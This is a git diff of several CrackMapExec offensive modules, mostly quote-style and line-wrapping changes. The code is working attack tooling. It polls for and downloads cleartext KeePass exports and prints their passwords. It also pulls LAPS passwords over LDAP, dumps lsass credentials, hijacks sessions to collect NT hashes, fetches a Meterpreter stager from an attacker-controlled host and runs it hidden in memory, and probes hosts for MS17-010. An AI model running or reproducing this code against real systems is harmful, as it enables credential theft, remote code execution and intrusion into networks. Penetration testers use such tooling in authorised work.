context.log.fail("Error while restarting KeePass: {}".format(e))
return
def poll(self, context, connection):
"""Search for the cleartext database export file in the specified export folder
(until found, or manually exited by the user)"""
found = False
context.log.display(
f"Polling for database export every {self.poll_frequency_seconds} seconds, please be patient"
)
context.log.display(f"Polling for database export every {self.poll_frequency_seconds} seconds, please be patient")
context.log.display("we need to wait for the target to enter his master password ! Press CTRL+C to abort and use clean option to cleanup everything")
# if the specified path is %APPDATA%, we need to check in every user's folder
if self.export_path == '%APPDATA%' or self.export_path == '%appdata%':
poll_export_command_str = 'powershell.exe "Get-LocalUser | Where {{ $_.Enabled -eq $True }} | select name | ForEach-Object {{ Write-Output (\'C:\\Users\\\'+$_.Name+\'\\AppData\\Roaming\\{}\')}} | ForEach-Object {{ if (Test-Path $_ -PathType leaf){{ Write-Output $_ }}}}"'.format(self.export_name)
if self.export_path == "%APPDATA%" or self.export_path == "%appdata%":
poll_export_command_str = "powershell.exe \"Get-LocalUser | Where {{ $_.Enabled -eq $True }} | select name | ForEach-Object {{ Write-Output ('C:\\Users\\'+$_.Name+'\\AppData\\Roaming\\{}')}} | ForEach-Object {{ if (Test-Path $_ -PathType leaf){{ Write-Output $_ }}}}\"".format(self.export_name)
else:
export_full_path = f"'{self.export_path}\\{self.export_name}'"
poll_export_command_str = 'powershell.exe "if (Test-Path {} -PathType leaf){{ Write-Output {} }}"'.format(export_full_path, export_full_path)
@@ -268,29 +260,29 @@ class CMEModule:
while not found:
poll_exports_command_output = connection.execute(poll_export_command_str, True)
if self.export_name not in poll_exports_command_output:
print('.', end='', flush=True)
print(".", end="", flush=True)
sleep(self.poll_frequency_seconds)
continue
print('')
print("")
# once a database is found, downloads it to the attackers machine
context.log.success('Found database export !')
context.log.success("Found database export !")
# in case multiple exports found (may happen if several users exported the database to their APPDATA)
for count, export_path in enumerate(poll_exports_command_output.split('\r\n')):
for count, export_path in enumerate(poll_exports_command_output.split("\r\n")):
try:
buffer = BytesIO()
connection.conn.getFile(self.share, export_path.split(":")[1], buffer.write)
# if multiple exports found, add a number at the end of local path to prevent override
if count > 0:
local_full_path = self.local_export_path + '/' + self.export_name.split('.')[0] + '_' + str(count) + '.' + self.export_name.split('.')[1]
local_full_path = self.local_export_path + "/" + self.export_name.split(".")[0] + "_" + str(count) + "." + self.export_name.split(".")[1]
else:
local_full_path = self.local_export_path + '/' + self.export_name
local_full_path = self.local_export_path + "/" + self.export_name
# downloads the exported database
with open(local_full_path, "wb") as f:
f.write(buffer.getbuffer())
remove_export_command_str = 'powershell.exe Remove-Item {}'.format(export_path)
remove_export_command_str = "powershell.exe Remove-Item {}".format(export_path)
connection.execute(remove_export_command_str, True)
context.log.success('Moved remote "{}" to local "{}"'.format(export_path, local_full_path))
found = True
@@ -300,8 +292,8 @@ class CMEModule:
def clean(self, context, connection):
"""Checks for database export + malicious trigger on the remote host, removes everything"""
# if the specified path is %APPDATA%, we need to check in every user's folder
if self.export_path == '%APPDATA%' or self.export_path == '%appdata%':
poll_export_command_str = 'powershell.exe "Get-LocalUser | Where {{ $_.Enabled -eq $True }} | select name | ForEach-Object {{ Write-Output (\'C:\\Users\\\'+$_.Name+\'\\AppData\\Roaming\\{}\')}} | ForEach-Object {{ if (Test-Path $_ -PathType leaf){{ Write-Output $_ }}}}"'.format(self.export_name)
if self.export_path == "%APPDATA%" or self.export_path == "%appdata%":
poll_export_command_str = "powershell.exe \"Get-LocalUser | Where {{ $_.Enabled -eq $True }} | select name | ForEach-Object {{ Write-Output ('C:\\Users\\'+$_.Name+'\\AppData\\Roaming\\{}')}} | ForEach-Object {{ if (Test-Path $_ -PathType leaf){{ Write-Output $_ }}}}\"".format(self.export_name)
else:
export_full_path = f"'{self.export_path}\\{self.export_name}'"
poll_export_command_str = 'powershell.exe "if (Test-Path {} -PathType leaf){{ Write-Output {} }}"'.format(export_full_path, export_full_path)
@@ -310,7 +302,7 @@ class CMEModule:
# deletes every export found on the remote machine
if self.export_name in poll_export_command_output:
# in case multiple exports found (may happen if several users exported the database to their APPDATA)
for export_path in poll_export_command_output.split('\r\n'):
for export_path in poll_export_command_output.split("\r\n"):
context.log.display(f"Database export found in '{export_path}', removing")
remove_export_command_str = f"powershell.exe Remove-Item {export_path}"
connection.execute(remove_export_command_str, True)
@@ -319,24 +311,17 @@ class CMEModule:
# if the malicious trigger was not self-deleted, deletes it
if self.trigger_added(context, connection):
# prepare the trigger deletion script based on user-specified parameters (e.g: trigger name, etc)
# see data/keepass_trigger_module/RemoveKeePassTrigger.ps1
self.remove_trigger_script_str = self.remove_trigger_script_str.replace(
'REPLACE_ME_KeePassXMLPath',
self.keepass_config_path
)
self.remove_trigger_script_str = self.remove_trigger_script_str.replace(
'REPLACE_ME_TriggerName',
self.trigger_name
)
self.remove_trigger_script_str = self.remove_trigger_script_str.replace("REPLACE_ME_KeePassXMLPath", self.keepass_config_path)
self.remove_trigger_script_str = self.remove_trigger_script_str.replace("REPLACE_ME_TriggerName", self.trigger_name)
# actually performs trigger deletion
if self.powershell_exec_method == 'ENCODE':
remove_trigger_script_b64 = b64encode(self.remove_trigger_script_str.encode('UTF-16LE')).decode('utf-8')
if self.powershell_exec_method == "ENCODE":
remove_trigger_script_b64 = b64encode(self.remove_trigger_script_str.encode("UTF-16LE")).decode("utf-8")
remove_trigger_script_command_str = f"powershell.exe -e {remove_trigger_script_b64}"
connection.execute(remove_trigger_script_command_str, True)
elif self.powershell_exec_method == 'PS1':
elif self.powershell_exec_method == "PS1":
try:
self.put_file_execute_delete(context, connection, self.remove_trigger_script_str)
except Exception as e:
@@ -397,39 +382,37 @@ class CMEModule:
"""Helper to upload script to a temporary folder, run then deletes it"""
script_str_io = StringIO(psh_script_str)
connection.conn.putFile(self.share, self.remote_temp_script_path.split(":")[1], script_str_io.read)
script_execute_cmd = 'powershell.exe -ep Bypass -F {}'.format(self.remote_temp_script_path)
script_execute_cmd = "powershell.exe -ep Bypass -F {}".format(self.remote_temp_script_path)
connection.execute(script_execute_cmd, True)
remove_remote_temp_script_cmd = 'powershell.exe "Remove-Item \"{}\""'.format(self.remote_temp_script_path)
remove_remote_temp_script_cmd = 'powershell.exe "Remove-Item "{}""'.format(self.remote_temp_script_path)
connection.execute(remove_remote_temp_script_cmd)
def extract_password(self, context):
xml_doc_path = os.path.abspath(self.local_export_path + "/" + self.export_name)
xml_tree = ElementTree.parse(xml_doc_path)
root = xml_tree.getroot()
to_string = ElementTree.tostring(root, encoding='UTF-8', method='xml')
to_string = ElementTree.tostring(root, encoding="UTF-8", method="xml")
xml_to_dict = parse(to_string)
dump = json.dumps(xml_to_dict)
obj = json.loads(dump)
if len(obj['KeePassFile']['Root']['Group']['Entry']):
for obj2 in obj['KeePassFile']['Root']['Group']['Entry']:
for password in obj2['String']:
if password['Key'] == "Password":
context.log.highlight(str(password['Key']) + " : " + str(password['Value']['#text']))
if len(obj["KeePassFile"]["Root"]["Group"]["Entry"]):
for obj2 in obj["KeePassFile"]["Root"]["Group"]["Entry"]:
for password in obj2["String"]:
if password["Key"] == "Password":
context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]["#text"]))
else:
context.log.highlight(str(password['Key']) + " : " + str(password['Value']))
context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]))
context.log.highlight("")
if len(obj['KeePassFile']['Root']['Group']['Group']):
for obj2 in obj['KeePassFile']['Root']['Group']['Group']:
if len(obj["KeePassFile"]["Root"]["Group"]["Group"]):
for obj2 in obj["KeePassFile"]["Root"]["Group"]["Group"]:
try:
for obj3 in obj2['Entry']:
for password in obj3['String']:
if password['Key'] == "Password":
context.log.highlight(str(password['Key']) + " : " + str(password['Value']['#text']))
for obj3 in obj2["Entry"]:
for password in obj3["String"]:
if password["Key"] == "Password":
context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]["#text"]))
else:
context.log.highlight(str(password['Key']) + " : " + str(password['Value']))
context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]))
context.log.highlight("")
except KeyError:
pass
+28 -23
View File
@@ -1,64 +1,69 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import json
from impacket.ldap import ldapasn1 as ldapasn1_impacket
class CMEModule:
"""
Module by technobro refactored by @mpgn (now compatible with LDAP protocol + filter by computer)
Module by technobro refactored by @mpgn (now compatible with LDAP protocol + filter by computer)
Initial module:
@T3KX: https://github.com/T3KX/Crackmapexec-LAPS
Initial module:
@T3KX: https://github.com/T3KX/Crackmapexec-LAPS
Credit: @mpgn_x64, @n00py1
Credit: @mpgn_x64, @n00py1
"""
name = 'laps'
description = 'Retrieves the LAPS passwords'
supported_protocols = ['ldap']
name = "laps"
description = "Retrieves the LAPS passwords"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = False
def options(self, context, module_options):
"""
COMPUTER Computer name or wildcard ex: WIN-S10, WIN-* etc. Default: *
COMPUTER Computer name or wildcard ex: WIN-S10, WIN-* etc. Default: *
"""
self.computer = None
if 'COMPUTER' in module_options:
self.computer = module_options['COMPUTER']
if "COMPUTER" in module_options:
self.computer = module_options["COMPUTER"]
def on_login(self, context, connection):
context.log.display('Getting LAPS Passwords')
context.log.display("Getting LAPS Passwords")
if self.computer is not None:
searchFilter = '(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=' + self.computer + '))'
searchFilter = "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*))(name=" + self.computer + "))"
else:
searchFilter = '(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*)))'
attributes = ['msLAPS-EncryptedPassword', 'msLAPS-Password', 'ms-MCS-AdmPwd', 'sAMAccountName']
searchFilter = "(&(objectCategory=computer)(|(msLAPS-EncryptedPassword=*)(ms-MCS-AdmPwd=*)(msLAPS-Password=*)))"
attributes = [
"msLAPS-EncryptedPassword",
"msLAPS-Password",
"ms-MCS-AdmPwd",
"sAMAccountName",
]
results = connection.search(searchFilter, attributes, 0)
results = [r for r in results if isinstance(r, ldapasn1_impacket.SearchResultEntry)]
if len(results) != 0:
laps_computers = []
for computer in results:
msMCSAdmPwd = ''
sAMAccountName = ''
values = {str(attr['type']).lower(): str(attr['vals'][0]) for attr in computer['attributes']}
msMCSAdmPwd = ""
sAMAccountName = ""
values = {str(attr["type"]).lower(): str(attr["vals"][0]) for attr in computer["attributes"]}
if "mslaps-encryptedpassword" in values:
context.log.fail("LAPS password is encrypted and currently CrackMapExec doesn't support the decryption...")
context.log.fail("LAPS password is encrypted and currently CrackMapExec doesn't" " support the decryption...")
return
elif "mslaps-password" in values:
r = json.loads(values['mslaps-password'])
laps_computers.append((values['samaccountname'], r['n'], r['p']))
r = json.loads(values["mslaps-password"])
laps_computers.append((values["samaccountname"], r["n"], r["p"]))
elif "ms-mcs-admpwd" in values:
laps_computers.append((values['samaccountname'], '', values['ms-mcs-admpwd']))
laps_computers.append((values["samaccountname"], "", values["ms-mcs-admpwd"]))
else:
context.log.fail("No result found with attribute ms-MCS-AdmPwd or msLAPS-Password")
context.log.fail("No result found with attribute ms-MCS-AdmPwd or" " msLAPS-Password")
laps_computers = sorted(laps_computers, key=lambda x: x[0])
for sAMAccountName, user, msMCSAdmPwd in laps_computers:
context.log.highlight("Computer: {:<20} User: {:<15} Password: {}".format(sAMAccountName, user, msMCSAdmPwd))
else:
context.log.fail("No result found with attribute ms-MCS-AdmPwd or msLAPS-Password !")
+115 -99
View File
@@ -1,7 +1,6 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import ldap3
import socket
import ssl
import asyncio
@@ -10,7 +9,9 @@ from msldap.commons.target import MSLDAPTarget
from asyauth.common.constants import asyauthSecret
from asyauth.common.credentials.ntlm import NTLMCredential
from asyauth.common.credentials.kerberos import KerberosCredential
from asysocks.unicomm.common.target import UniTarget, UniProto
class CMEModule:
"""
@@ -19,11 +20,12 @@ class CMEModule:
Module by LuemmelSec (@theluemmel), updated by @zblurx
Original work thankfully taken from @zyn3rgy's Ldap Relay Scan project: https://github.com/zyn3rgy/LdapRelayScan
"""
name = 'ldap-checker'
description = 'Checks whether LDAP signing and binding are required and / or enforced'
supported_protocols = ['ldap']
name = "ldap-checker"
description = "Checks whether LDAP signing and binding are required and / or enforced"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = True
multiple_hosts = True
def options(self, context, module_options):
"""
@@ -32,83 +34,68 @@ class CMEModule:
pass
def on_login(self, context, connection):
#Grab the variables from the CME connection to fill our variables
inputUser = connection.domain + '\\' + connection.username
inputPassword = connection.password
if connection.password == '' and connection.nthash is not None:
context.log.debug("Using NT(LM) hash for authentication")
inputPassword = "aad3b435b51404eeaad3b435b51404ee:" + connection.nthash
dcTarget = connection.conn.getRemoteHost()
#Conduct a bind to LDAPS and determine if channel
#binding is enforced based on the contents of potential
#errors returned. This can be determined unauthenticated,
#because the error indicating channel binding enforcement
#will be returned regardless of a successful LDAPS bind.
def run_ldaps_noEPA(inputUser, inputPassword, dcTarget):
try:
tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2)
ldapServer = ldap3.Server(
dcTarget, use_ssl=True, port=636, get_info=ldap3.ALL, tls=tls)
ldapConn = ldap3.Connection(
ldapServer, user=inputUser, password=inputPassword, authentication=ldap3.NTLM)
if not ldapConn.bind():
if "data 80090346" in str(ldapConn.result):
return True #channel binding IS enforced
elif "data 52e" in str(ldapConn.result):
return False #channel binding not enforced
else:
context.log.fail("UNEXPECTED ERROR: " + str(ldapConn.result))
else:
#LDAPS bind successful
return False #because channel binding is not enforced
exit()
except Exception as e:
context.log.fail("\n [!] "+ dcTarget+" -", str(e))
context.log.fail(" * Ensure DNS is resolving properly, and that you can reach LDAPS on this host")
#Conduct a bind to LDAPS with channel binding supported
#but intentionally miscalculated. In the case that and
#LDAPS bind has without channel binding supported has occured,
#you can determine whether the policy is set to "never" or
#if it's set to "when supported" based on the potential
#error recieved from the bind attempt.
async def run_ldaps_withEPA(inputUser, inputPassword, dcTarget):
target = MSLDAPTarget(ip=connection.host, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
stype = asyauthSecret.PASS if not connection.nthash else asyauthSecret.NT
secret = connection.password if not connection.nthash else connection.nthash
credential = NTLMCredential(secret=secret, username=connection.username, domain=connection.domain, stype=stype)
# Conduct a bind to LDAPS and determine if channel
# binding is enforced based on the contents of potential
# errors returned. This can be determined unauthenticated,
# because the error indicating channel binding enforcement
# will be returned regardless of a successful LDAPS bind.
async def run_ldaps_noEPA(target, credential):
ldapsClientConn = MSLDAPClientConnection(target, credential)
_, err = await ldapsClientConn.connect()
if err is not None:
context.log.fail("ERROR while connecting to " + dcTarget + ": " + err)
#forcing a miscalculation of the "Channel Bindings" av pair in Type 3 NTLM message
ldapsClientConn.cb_data = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
exit()
_, err = await ldapsClientConn.bind()
if "data 80090346" in str(err):
return True # channel binding IS enforced
elif "data 52e" in str(err):
return False # channel binding not enforced
elif err is None:
# LDAPS bind successful
# because channel binding is not enforced
return False
# Conduct a bind to LDAPS with channel binding supported
# but intentionally miscalculated. In the case that and
# LDAPS bind has without channel binding supported has occured,
# you can determine whether the policy is set to "never" or
# if it's set to "when supported" based on the potential
# error recieved from the bind attempt.
async def run_ldaps_withEPA(target, credential):
ldapsClientConn = MSLDAPClientConnection(target, credential)
_, err = await ldapsClientConn.connect()
if err is not None:
context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
exit()
# forcing a miscalculation of the "Channel Bindings" av pair in Type 3 NTLM message
ldapsClientConn.cb_data = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
_, err = await ldapsClientConn.bind()
if "data 80090346" in str(err):
return True
elif "data 52e" in str(err):
return False
elif err is not None:
context.log.fail("ERROR while connecting to " + dcTarget + ": " + err)
context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
elif err is None:
return False
#Domain Controllers do not have a certificate setup for
#LDAPS on port 636 by default. If this has not been setup,
#the TLS handshake will hang and you will not be able to
#interact with LDAPS. The condition for the certificate
#existing as it should is either an error regarding
#the fact that the certificate is self-signed, or
#no error at all. Any other "successful" edge cases
#not yet accounted for.
# Domain Controllers do not have a certificate setup for
# LDAPS on port 636 by default. If this has not been setup,
# the TLS handshake will hang and you will not be able to
# interact with LDAPS. The condition for the certificate
# existing as it should is either an error regarding
# the fact that the certificate is self-signed, or
# no error at all. Any other "successful" edge cases
# not yet accounted for.
def DoesLdapsCompleteHandshake(dcIp):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(5)
ssl_sock = ssl.wrap_socket(s,cert_reqs=ssl.CERT_OPTIONAL,suppress_ragged_eofs=False,do_handshake_on_connect=False)
ssl_sock = ssl.wrap_socket(
s,
cert_reqs=ssl.CERT_OPTIONAL,
suppress_ragged_eofs=False,
do_handshake_on_connect=False,
)
ssl_sock.connect((dcIp, 636))
try:
ssl_sock.do_handshake()
@@ -126,47 +113,76 @@ class CMEModule:
ssl_sock.close()
return False
#Conduct and LDAP bind and determine if server signing
#requirements are enforced based on potential errors
#during the bind attempt.
def run_ldap(inputUser, inputPassword, dcTarget):
ldapServer = ldap3.Server(
dcTarget, use_ssl=False, port=389, get_info=ldap3.ALL)
ldapConn = ldap3.Connection(
ldapServer, user=inputUser, password=inputPassword, authentication=ldap3.NTLM)
if not ldapConn.bind():
if "stronger" in str(ldapConn.result):
return True #because LDAP server signing requirements ARE enforced
elif "data 52e" or "data 532" in str(ldapConn.result):
context.log.debug("Not connected")
return
else:
context.log.debug("UNEXPECTED ERROR: " + str(ldapConn.result))
# Conduct and LDAP bind and determine if server signing
# requirements are enforced based on potential errors
# during the bind attempt.
async def run_ldap(target, credential):
ldapsClientConn = MSLDAPClientConnection(target, credential)
_, err = await ldapsClientConn.connect()
if err is None:
_, err = await ldapsClientConn.bind()
if "stronger" in str(err):
return True # because LDAP server signing requirements ARE enforced
elif ("data 52e" or "data 532") in str(err):
context.log.fail("Not connected... exiting")
exit()
elif err is None:
return False
else:
#LDAPS bind successful
return False #because LDAP server signing requirements are not enforced
exit()
context.log.fail(str(err))
#Run trough all our code blocks to determine LDAP signing and channel binding settings.
# Run trough all our code blocks to determine LDAP signing and channel binding settings.
stype = asyauthSecret.PASS if not connection.nthash else asyauthSecret.NT
secret = connection.password if not connection.nthash else connection.nthash
if not connection.kerberos:
credential = NTLMCredential(
secret=secret,
username=connection.username,
domain=connection.domain,
stype=stype,
)
else:
kerberos_target = UniTarget(
connection.hostname + '.' + connection.domain,
88,
UniProto.CLIENT_TCP,
proxies=None,
dns=None,
dc_ip=connection.domain,
domain=connection.domain
)
credential = KerberosCredential(
target=kerberos_target,
secret=secret,
username=connection.username,
domain=connection.domain,
stype=stype,
)
target = MSLDAPTarget(connection.host, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
ldapIsProtected = asyncio.run(run_ldap(target, credential))
ldapIsProtected = run_ldap(inputUser, inputPassword, dcTarget)
if ldapIsProtected == False:
context.log.highlight("LDAP Signing NOT Enforced!")
elif ldapIsProtected == True:
context.log.fail("LDAP Signing IS Enforced")
if DoesLdapsCompleteHandshake(dcTarget) == True:
ldapsChannelBindingAlwaysCheck = run_ldaps_noEPA(inputUser, inputPassword, dcTarget)
ldapsChannelBindingWhenSupportedCheck = asyncio.run(run_ldaps_withEPA(inputUser, inputPassword, dcTarget))
else:
context.log.fail("Connection fail, exiting now")
exit()
if DoesLdapsCompleteHandshake(connection.domain) == True:
target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
ldapsChannelBindingAlwaysCheck = asyncio.run(run_ldaps_noEPA(target, credential))
target = MSLDAPTarget(connection.host, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
ldapsChannelBindingWhenSupportedCheck = asyncio.run(run_ldaps_withEPA(target, credential))
if ldapsChannelBindingAlwaysCheck == False and ldapsChannelBindingWhenSupportedCheck == True:
context.log.highlight('LDAPS Channel Binding is set to \"When Supported\"')
context.log.highlight('LDAPS Channel Binding is set to "When Supported"')
elif ldapsChannelBindingAlwaysCheck == False and ldapsChannelBindingWhenSupportedCheck == False:
context.log.highlight('LDAPS Channel Binding is set to \"NEVER\"')
context.log.highlight('LDAPS Channel Binding is set to "NEVER"')
elif ldapsChannelBindingAlwaysCheck == True:
context.log.fail('LDAPS Channel Binding is set to \"Required\"')
context.log.fail('LDAPS Channel Binding is set to "Required"')
else:
context.log.fail("\nSomething went wrong...")
exit()
exit()
else:
context.log.fail(dcTarget + " - cannot complete TLS handshake, cert likely not configured")
context.log.fail(connection.domain + " - cannot complete TLS handshake, cert likely not configured")
+44 -15
View File
@@ -15,9 +15,9 @@ from cme.helpers.bloodhound import add_user_bh
class CMEModule:
name = 'lsassy'
name = "lsassy"
description = "Dump lsass and parse the result remotely with lsassy"
supported_protocols = ['smb']
supported_protocols = ["smb"]
opsec_safe = True # writes temporary files, and it's possible for them to not be deleted
multiple_hosts = True
@@ -30,9 +30,9 @@ class CMEModule:
"""
METHOD Method to use to dump lsass.exe with lsassy
"""
self.method = 'comsvcs'
if 'METHOD' in module_options:
self.method = module_options['METHOD']
self.method = "comsvcs"
if "METHOD" in module_options:
self.method = module_options["METHOD"]
def on_admin_login(self, context, connection):
host = connection.host
@@ -51,7 +51,7 @@ class CMEModule:
nthash=nthash,
username=username,
password=password,
domain=domain_name
domain=domain_name,
)
if session.smb_session is None:
@@ -101,8 +101,22 @@ class CMEModule:
for cred in credentials:
context.log.debug(f"Credential: {cred}")
if [cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"]] not in credentials_unique:
credentials_unique.append([cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"]])
if [
cred["domain"],
cred["username"],
cred["password"],
cred["lmhash"],
cred["nthash"],
] not in credentials_unique:
credentials_unique.append(
[
cred["domain"],
cred["username"],
cred["password"],
cred["lmhash"],
cred["nthash"],
]
)
credentials_output.append(cred)
context.log.debug(f"Calling process_credentials")
@@ -117,15 +131,30 @@ class CMEModule:
domain = cred["domain"]
if "." not in cred["domain"] and cred["domain"].upper() in connection.domain.upper():
domain = connection.domain # slim shady
self.save_credentials(context, connection, cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"])
self.print_credentials(context, cred["domain"], cred["username"], cred["password"], cred["lmhash"], cred["nthash"])
credz_bh.append({'username': cred["username"].upper(), 'domain': domain.upper()})
self.save_credentials(
context,
connection,
cred["domain"],
cred["username"],
cred["password"],
cred["lmhash"],
cred["nthash"],
)
self.print_credentials(
context,
cred["domain"],
cred["username"],
cred["password"],
cred["lmhash"],
cred["nthash"],
)
credz_bh.append({"username": cred["username"].upper(), "domain": domain.upper()})
add_user_bh(credz_bh, domain, context.log, connection.config)
@staticmethod
def print_credentials(context, domain, username, password, lmhash, nthash):
if password is None:
password = ':'.join(h for h in [lmhash, nthash] if h is not None)
password = ":".join(h for h in [lmhash, nthash] if h is not None)
output = "%s\\%s %s" % (domain, username, password)
context.log.highlight(output)
@@ -133,8 +162,8 @@ class CMEModule:
def save_credentials(context, connection, domain, username, password, lmhash, nthash):
host_id = context.db.get_hosts(connection.host)[0][0]
if password is not None:
credential_type = 'plaintext'
credential_type = "plaintext"
else:
credential_type = 'hash'
password = ':'.join(h for h in [lmhash, nthash] if h is not None)
credential_type = "hash"
password = ":".join(h for h in [lmhash, nthash] if h is not None)
context.db.add_credential(credential_type, domain, username, password, pillaged_from=host_id)
+5 -18
View File
@@ -40,9 +40,7 @@ class CMEModule:
def on_admin_login(self, context, connection):
if not self.ca:
context.log.fail(
"Please provide a valid CA server and CA name (CA_SERVER\CA_NAME)"
)
context.log.fail("Please provide a valid CA server and CA name (CA_SERVER\CA_NAME)")
return False
host = connection.host
@@ -78,9 +76,7 @@ class CMEModule:
if not tracker.nb_hijacked_users:
context.log.display("No users' sessions were hijacked")
else:
context.log.display(
f"{tracker.nb_hijacked_users} session(s) successfully hijacked"
)
context.log.display(f"{tracker.nb_hijacked_users} session(s) successfully hijacked")
context.log.display("Attempting to retrieve NT hash(es) via PKINIT")
if not rslts:
@@ -96,9 +92,7 @@ class CMEModule:
if pwned_users:
context.log.success(f"{pwned_users} NT hash(es) successfully collected")
else:
context.log.fail(
"Unable to collect NT hash(es) from the hijacked session(s)"
)
context.log.fail("Unable to collect NT hash(es) from the hijacked session(s)")
return True
def process_credentials(self, connection, context, user):
@@ -121,17 +115,10 @@ class CMEModule:
if not tracker.files_cleaning_success:
context.log.fail("Fail to clean files related to Masky")
context.log.fail(
(
f"Please remove the files named '{tracker.agent_filename}', '{tracker.error_filename}', "
f"'{tracker.output_filename}' & '{tracker.args_filename}' within the folder '\\Windows\\Temp\\'"
)
)
context.log.fail((f"Please remove the files named '{tracker.agent_filename}', '{tracker.error_filename}', " f"'{tracker.output_filename}' & '{tracker.args_filename}' within the folder '\\Windows\\Temp\\'"))
ret = False
if not tracker.svc_cleaning_success:
context.log.fail(
f"Fail to remove the service named '{tracker.svc_name}', please remove it manually"
)
context.log.fail(f"Fail to remove the service named '{tracker.svc_name}', please remove it manually")
ret = False
return ret
+14 -12
View File
@@ -9,6 +9,7 @@ class CMEModule:
Downloads the Meterpreter stager and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script
Module by @byt3bl33d3r
"""
name = "met_inject"
description = "Downloads the Meterpreter stager and injects it into memory"
supported_protocols = ["smb", "mssql"]
@@ -41,19 +42,19 @@ class CMEModule:
after running, copy the end of the URL printed (e.g. M5LemwmDHV) and set RAND to that
"""
self.met_ssl = 'https'
self.met_ssl = "https"
if 'SRVHOST' not in module_options or 'SRVPORT' not in module_options:
context.log.fail('SRVHOST and SRVPORT options are required!')
if "SRVHOST" not in module_options or "SRVPORT" not in module_options:
context.log.fail("SRVHOST and SRVPORT options are required!")
exit(1)
if 'SSL' in module_options:
self.met_ssl = module_options['SSL']
if 'RAND' in module_options:
self.rand = module_options['RAND']
if "SSL" in module_options:
self.met_ssl = module_options["SSL"]
if "RAND" in module_options:
self.rand = module_options["RAND"]
self.srvhost = module_options['SRVHOST']
self.srvport = module_options['SRVPORT']
self.srvhost = module_options["SRVHOST"]
self.srvport = module_options["SRVPORT"]
def on_admin_login(self, context, connection):
# stolen from https://github.com/jaredhaight/Invoke-MetasploitPayload
@@ -69,10 +70,11 @@ class CMEModule:
$ProcessInfo.CreateNoWindow = $True
$ProcessInfo.WindowStyle = "Hidden"
$Process = [System.Diagnostics.Process]::Start($ProcessInfo)""".format(
'http' if self.met_ssl == 'http' else 'https',
"http" if self.met_ssl == "http" else "https",
self.srvhost,
self.srvport,
self.rand)
self.rand,
)
context.log.debug(command)
connection.ps_execute(command, force_ps32=True)
context.log.success('Executed payload')
context.log.success("Executed payload")
+191 -218
View File
@@ -1,199 +1,181 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# All credits to https://github.com/d4t4s3c/Win7Blue
# All credits to https://github.com/d4t4s3c/Win7Blue
# @d4t4s3c
# Module by @mpgn_x64
# Module by @mpgn_x64
from ctypes import *
import socket
import struct
class CMEModule:
name = 'ms17-010'
class CMEModule:
name = "ms17-010"
description = "MS17-010, /!\ not tested oustide home lab"
supported_protocols = ['smb']
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""
"""
""" """
def on_login(self, context, connection):
if check(connection.host):
context.log.highlight("VULNERABLE")
context.log.highlight("Next step: https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue/")
class SMB_HEADER(Structure):
"""SMB Header decoder.
"""
"""SMB Header decoder."""
_pack_ = 1
_pack_ = 1
_fields_ = [
("server_component", c_uint32),
("smb_command", c_uint8),
("error_class", c_uint8),
("reserved1", c_uint8),
("error_code", c_uint16),
("flags", c_uint8),
("flags2", c_uint16),
("process_id_high", c_uint16),
("signature", c_uint64),
("reserved2", c_uint16),
("tree_id", c_uint16),
("process_id", c_uint16),
("user_id", c_uint16),
("multiplex_id", c_uint16)
]
_fields_ = [
("server_component", c_uint32),
("smb_command", c_uint8),
("error_class", c_uint8),
("reserved1", c_uint8),
("error_code", c_uint16),
("flags", c_uint8),
("flags2", c_uint16),
("process_id_high", c_uint16),
("signature", c_uint64),
("reserved2", c_uint16),
("tree_id", c_uint16),
("process_id", c_uint16),
("user_id", c_uint16),
("multiplex_id", c_uint16),
]
def __new__(self, buffer=None):
return self.from_buffer_copy(buffer)
def __new__(self, buffer=None):
return self.from_buffer_copy(buffer)
def generate_smb_proto_payload(*protos):
"""Generate SMB Protocol. Pakcet protos in order.
"""
"""Generate SMB Protocol. Pakcet protos in order."""
hexdata = []
for proto in protos:
